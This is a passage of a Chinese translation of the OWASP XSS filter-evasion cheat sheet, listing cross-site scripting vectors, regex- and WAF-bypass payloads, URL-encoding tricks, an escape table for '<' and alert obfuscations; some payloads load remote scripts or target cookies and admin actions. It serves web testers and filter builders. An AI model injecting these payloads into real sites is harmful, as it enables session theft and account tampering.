該示例隻在FireFox下有效,但是比上面的攻擊向量在FireFox下好,因為不需要使用者安裝或啟用FLASH。感謝nEUrOO提供:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> 

2.73.    在FLASH中使用ActionScript混淆XSS攻擊向量

a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

2.74.    CDATA混淆的XML資料島

這個XSS攻擊隻在IE和使用IE渲染模式的Netscape 8.1下有效-攻擊向量由Sec Consult在審計Yahoo時發現

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

2.75.    使用XML資料島生成含内嵌JavaScript的本地XML檔案

這和上面是一樣的但是将來源替換為了包含跨站腳本攻擊向量的本地XML檔案(必須在同一伺服器上):

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

2.76.    XML中使用HTML+TIME

這是Grey Magic攻擊Hotmail和Yahoo的方法。這隻在IE和IE渲染模式下的Netscape8.1有效并且記得需要在HTML域的BODY标簽中間才有效:

<HTML><BODY> 

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

2.77.    使用一些字元繞過".js"過濾

你可以将你的JavaScript檔案重命名為圖像來作為XSS攻擊向量:

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT> 

2.78.    SSI(服務端腳本包含)

這需要在伺服器端允許SSI來使用XSS攻擊向量。似乎不用提示這點,因為如果你可以在伺服器端執行指令那一定是有更嚴重的問題存在:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--> 

2.79.    PHP

需要伺服器端安裝了PHP來使用XSS攻擊向量。同樣,如果你可以遠端運作任意腳本,那會有更加嚴重的問題:

<? echo('<SCR)';

echo('IPT>alert("XSS")</SCRIPT>'); ?>

2.80.    嵌入指令的IMAGE

當頁面受密碼保護并且這個密碼保護同樣适用于相同域的不同頁面時有效,這可以用來進行删除使用者,增加使用者(如果通路頁面的是管理者的話),将密碼發送到任意地方等等。。。這是一個較少使用當時更有價值的XSS攻擊向量:

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> 

2.80.1. 嵌入指令的IMAGE II

這更加可怕因為這不包含任何可疑辨別,除了它不在你自己的域名上。這個攻擊向量使用一個302或304(其他的也有效)來重定向圖檔到指定指令。是以一個普通的<IMG SRC="httx://badguy.com/a.jpg">對于通路圖檔連結的使用者來說也有可能是一個攻擊向量。下面是利用.htaccess(Apache)配置檔案來實作攻擊向量。(感謝Timo提供這部分。):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

2.81.    Cookie篡改

盡管公認不太實用,但是還是可以發現一些允許使用META标簽的情況下可用它來覆寫cookie。另外的例子是當使用者通路網站頁面時,一些網站讀取并顯示存儲在cookie中的使用者名,而不是資料庫中。當這兩種場景結合時,你可以修改受害者的cookie以便将JavaScript注入到其頁面中(你可以使用這個讓使用者登出或改變他們的使用者狀态,甚至可以讓他們以你的賬戶登入):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> 

2.82.    UTF-7編碼

如果存在XSS的頁面沒有提供頁面編碼頭部,或者使用了任何設定為使用UTF-7編碼的浏覽器,就可以使用下列方式進行攻擊(感謝Roman Ivanov提供)。這在任何不改變編碼類型的現代浏覽器上是無效的,這也是為什麼标記為完全不支援的原因。Watchfire在Google的自定義404腳本中發現這個問題:

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-8"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 

2.83.    利用HTML引号包含的XSS

這在IE中測試通過,但還得視情況而定。它是為了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPT SRC..."形式的正則過濾即"/<script[^>]+src/i":

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

這是為了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPTSRC..."形式的正則過濾即" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"(這很重要,因為在實際環境中出現過這種正則過濾):

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

另一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS:

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> 

又一個繞過正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS。盡管不想提及防禦方法,但如果你想允許<SCRIPT>标簽但不加載遠端腳本,針對這種XSS隻能使用狀态機去防禦(當然如果允許<SCRIPT>标簽的話,還有其他方法繞過):

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

最後一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下無效):

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT> 

這是一個XSS樣例,用來繞過那些不會檢查引号配對,而是發現任何引号就立即結束參數字元串的正規表達式:

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

這個XSS很讓人擔心,因為如果不過濾所有活動内容幾乎不可能防止此攻擊:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT> 

2.84.    URL字元繞過

假定"http://www.google.com/"是不被允許的:

2.84.1. IP代替域名

<A HREF="http://66.102.7.147/">XSS</A> 

2.84.2. URL編碼

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> 

2.84.3. 雙位元組編碼

(注意:還有另一種雙位元組編碼):

<A HREF="http://1113982867/">XSS</A> 

2.84.4. 十六進制編碼

每個數字的允許的範圍大概是240位字元,就如你在第二位上看到的,并且由于十六進制是在0到F之間,是以開頭的0可以省略:

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> 

2.84.5. 八進制編碼

又一次允許填充,盡管你必須保證每類在4位字元以上-例如A類,B類等等:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

2.84.6. 混合編碼

讓我們混合基本編碼并在其中插入一些TAB和換行,雖然不知道浏覽器為什麼允許這樣做。TAB和換行隻有被引号包含時才有效:

<A HREF="h

tt p://6 6.000146.0x7.147/">XSS</A>

2.84.7. 協定解析繞過

(// 替代http://可以節約很多位元組).當輸入空間有限時很有用(少兩個字元可能解決大問題) 而且可以輕松繞過類似"(ht|f)tp(s)?://"的正則過濾(感謝Ozh提供這部分).你也可以将"//"換成"\\"。你需要保證斜杠在正确的位置,否則可能被當成相對路徑URL:

<A HREF="//www.google.com/">XSS</A>

2.84.8. Google的"feeling lucky"功能1

Firefox使用Google的"feeling lucky"功能根據使用者輸入的任何關鍵詞來将使用者重定向。如果你存在漏洞的頁面在某些随機關鍵詞上搜尋引擎排名是第一的,你就可以利用這一特性來攻擊FireFox使用者。這使用了Firefox的"keyword:"協定。你可以像下面一樣使用多個關鍵詞"keyword:XSS+RSnake"。這在Firefox2.0後不再有效.

<A HREF="//google">XSS</A>

2.84.9. Google的"feeling lucky"功能2

這使用了一個僅在FireFox上有效的小技巧,因為它實作了"feelinglucky"功能。不像下面一個例子,這個在Opera上無效因為Opera會認為隻是一個老式的HTTP基礎認證釣魚攻擊,但它并不是。它隻是一個畸形的URL。如果你點選了對話框的确定,它就可以生效。但是在Opera上會是一個錯誤對話框,是以認為其不被Opera所支援,同樣在Firefox2.0後不再有效。

<A HREF="http://[email protected]">XSS</A>

2.84.10.      Google的"feeling lucky"功能3

這是一個畸形的URL隻在FireFox和Opera下有效,因為它們實作了"feeling lucky"功能。像上面的例子一樣,它要求你的攻擊頁面在Google上特定關鍵詞排名第一(在這個示例裡關鍵詞是"google")

<A HREF="http://google:ha.ckers.org">XSS</A>

2.84.11.      移除别名

當結合上面的URL,移除"www."會節約4個位元組,總共為正确設定的伺服器節省9位元組:

<A HREF="http://google.com/">XSS</A>

2.84.12.      絕對DNS名稱後額外的點

<A HREF="http://www.google.com./">XSS</A>

2.84.13.      JavaScriptlink location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

2.84.14.      内容替換作為攻擊向量

假設"http://www.google.com/"會自動替換為空。我實際使用過類似的攻擊向量即通過使用轉換過濾器本身(示例如下)來幫助建構攻擊向量以對抗現實世界的XSS過濾器:

<A HREF="http://www.google.com/ogle.com/">XSS</A>

2.85.    字元轉義表

下面是HTML和JavaScript中字元“<”的所有可能組合。其中大部分不會被渲染出來,但其中許多可以在某些情況下呈現出來。:

<

%3C

&lt

&lt;

&LT

&LT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&#60;

&#060;

&#0060;

&#00060;

&#000060;

&#0000060;

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&#x3c;

&#x03c;

&#x003c;

&#x0003c;

&#x00003c;

&#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&#X3c;

&#X03c;

&#X003c;

&#X0003c;

&#X00003c;

&#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&#x3C;

&#x03C;

&#x003C;

&#x0003C;

&#x00003C;

&#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&#X3C;

&#X03C;

&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C

3.繞過WAF的方法

通用問題

• 存儲型XSS

如果攻擊者已經讓XSS繞過過濾器,WAF無法阻止攻擊透過。

•基于JavaScript的反射型XSS

示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

利用: /?xss=500); alert(document.cookie);//

•基于DOM的XSS

示例: <script> ... eval($_GET[xss]); ... </script>

利用: /?xss=document.cookie

通過請求重定向構造XSS

•存在漏洞代碼:

...

 header('Location: '.$_GET['param']);

...

同樣包括:

...

 header('Refresh: 0; URL='.$_GET['param']);

...

•這種請求不會繞過WAF:

/?param=javascript:alert(document.cookie)

•這種請求可以繞過WAF并且XSS攻擊可以在某些浏覽器執行:

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

繞過WAF可用字元串.

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" οnmοuseοver="alert(XSS)">

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" οnerrοr="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 οnerrοr=alert(XSS)>

<img src=x:alert(alt) οnerrοr=eval(src) alt=0>

<img  src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img>

<iframe/src="data:text/html,<svg οnlοad=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">

<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>

<form><a href="javascript:\u0061lert(1)" target="_blank" rel="external nofollow" >X

</script><imgοnerrοr='eval(src)'>

<style>//*{x:expression(alert(/xss/))}//<style></style> 

On Mouse Over​

<img src="/" =_=" title="οnerrοr='prompt(1)'">

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<script x> alert(1) </script 1=2

<form><button formaction=javascript&colon;alert(1)>CLICKME

<input/οnmοuseοver="javaSCRIPT&colon;confirm&lpar;1&rpar;"

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

3.1.  Alert混淆以繞過過濾器

(alert)(1)

a=alert,a(1)

[1].find(alert)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)

4.作者和主要編輯

Robert "RSnake" Hansen

5.貢獻者

Adam Lange

Mishra Dhiraj

版權與許可

版權所有:OWASP基金會©

本文檔基于 Creative Commons Attribution ShareAlike3.0 license 釋出。任何重用或發行,都必須向他人明确該文檔的許可條款。 http://creativecommons.org/licenses/by-sa/3.0/

*原文位址:owasp.org,[email protected]編譯,轉載自FreeBuf.COM